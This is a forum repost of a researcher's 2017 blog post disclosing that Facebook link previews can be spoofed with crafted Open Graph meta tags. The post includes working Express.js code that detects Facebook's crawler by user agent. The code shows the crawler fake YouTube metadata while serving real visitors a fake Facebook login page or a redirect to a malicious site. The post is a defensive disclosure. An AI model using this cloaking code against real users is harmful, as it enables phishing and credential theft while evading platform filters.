Jump to content
Fi8sVrs

Can you trust Facebook links?

Recommended Posts

  • Active Members

Author:  Barak Tawily

While we are on Facebook, we are often share links to external sources, like Youtube, Google Drive, Instagram, or any other websites.

Many people think that Facebook links are quite reliable, but are they?
 

Facebook users can send those links via post or privately over Messenger, as you can see on the following images:

MFkLG8ihSjMxdxpGsAh_XTF7nNRPoMv30BfCqgjm

 

gKRqbSQXnm-eKOVygWdSLfZZvEuqI2zExazq4QY_

 

So how exactly preview link feature works?

When a user is about to post a link, he pastes it on Facebook, which detects it as a URL, then Facebook bot called “Facebook External Hit”, fetches a GET request to the supplied link and extract the relevant data from the HTML content such as preview image, title, description, and origin domain.

The link’s preview data is the only information supplied to the user before clicking it. In case the preview data is fake, it is super useful for phishing campaigns/ads/click fraud (pay-per-click)/Malvertising, just few days ago, I read this article about gigantic ad fraud on MySpace.

 

So after exploring this feature, I managed to understand how exactly the preview data was fetched, and what Facebook bot is looking for in the HTML content.

Facebook’s bot is looking for specific HTML tags, some of the tags it is looking for, are the “meta” tags, specifically with values “og:url” , “og:image” and “og:title” in the “property” attribute.

Due to lack of validation between the “og:url” content attribute to the origin domain retuned the HTML, it is possible to abuse this feature via crafted meta tags, so in case someone supplies to Facebook bot a URL that returns HTML with those crafted tags which contain fake data of another website (let’s say Youtube), the preview data will look like a Youtube song (or any other targeted page over the internet), but the actual link will lead victims to the URL containing the malicious HTML.

An example of HTML that fakes Youtube song link:

DnWp8o7ybSNi0L5ne-Jngw5ceYFctKIA7ludZ91z

In my opinion, all Facebook users think that preview data shown by facebook is reliable, and will click the links they are interested in, which makes them easily targeted by attackers that abuse this feature in order to perform several types of attacks as I mentioned above (phishing campaigns/ads/click fraud pay-per-click).

WqXJlkRGVSkc8IP5seqhPbtI1a82maATJsqxLe2_

 

I reported Facebook about this issue but unfortunately they refuse to recognize it as security issue and replied:

Quote

 “Facebook contains user-generated content, so the ability to inject content into a page, even under Facebook.com, is a very low-risk vulnerability. We consider content spoofing bugs like this to be low-risk and low-impact”

In addition, Facebook replied that the links posted are validated via system called “Linkshim”, in order to avoid phishing and malicious websites, but faking the meta tags is not considered as malicious activity.

Quote

we filter redirects through a system known as Linkshim…….. Feel free to test Linkshim against a URL belonging to a known malicious website, such as http://evilzone.org/

I explored how Linkshim works, which is probably part of the “Facebook External Hit” bot, I tried to publish a link that redirects user’s browser to “evilzone” but it was detected and removed (as shown the PoC video), then I thought, what if I supply Facebook bot just a normal fake HTML without any malicious code, but supply victims the malicious HTML?

PoC video:

 

The following code bypasses Linkshim system by detecting the bot request via User Agent (you can do so via detecting IP) and supply HTML with non malicious content while supplying the malicious HTML to victims: https://pastebin.com/kwc3MJuv

mirror:

Spoiler

const express = require('express')
const app = express()
 
app.get('/test', function (req, res) {
  console.log(req.headers['user-agent']);
  if (req.headers['user-agent'].includes('facebook')) {
    console.log('Facebook bot detected, returning fake HTML without malicious code');
    res.send(`<html><head>
              <link href='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' rel='image_src'/>
              <meta content='https://www.youtube.com/watch?v=CTFtOOh47oo' property='og:url'/>
              <meta content='French Montana - Unforgettable ft. Swae Lee' property='og:title'/>
              <meta content='\"Unforgettable\" ft. Swae Lee Available at iTunes: http://smarturl.it/Unforgettable_fiTunes ...' property='og:description'/>
              <meta content='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' property='og:image'/>
            </head>
            <br>Hello world</html>`)
  }
  else {
    res.sendFile('/root/barak/node/fblogin.htm')
  }
})
 
app.get('/fb', function (req, res) {
  console.log(req.headers['user-agent']);
  if (req.headers['user-agent'].includes('facebook')) {
    console.log('facebook found');
    res.send(`<html><head>
              <link href='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' rel='image_src'/>
              <meta content='https://www.youtube.com/watch?v=CTFtOOh47oo' property='og:url'/>
              <meta content='French Montana - Unforgettable ft. Swae Lee' property='og:title'/>
              <meta content='\"Unforgettable\" ft. Swae Lee Available at iTunes: http://smarturl.it/Unforgettable_fiTunes ...' property='og:description'/>
              <meta content='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' property='og:image'/>
            </head>
            <br>Hello world</html>`)
  }
  else {
    res.send('<script>document.location="http://evilzone.org/"</script>')
  }
})
 
app.listen(80, function () {
  console.log('listening on port 80!')
})

 

 In this article I did not show real-life attack scenario and didn't abused this feature for real malicious activity, but there is plenty ways to exploit this vulnerability in order to perform several types of attacks like stealing sensitive information like credentials/credit cards.
In summary,  I hope this post will make Facebook users aware of this issue and make Facebook addressed those vulnerabilities.

 

Source: https://baraktawily.blogspot.nl/2017/10/can-you-trust-facebook-links.html

Edited by Fi8sVrs
  • Thanks 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...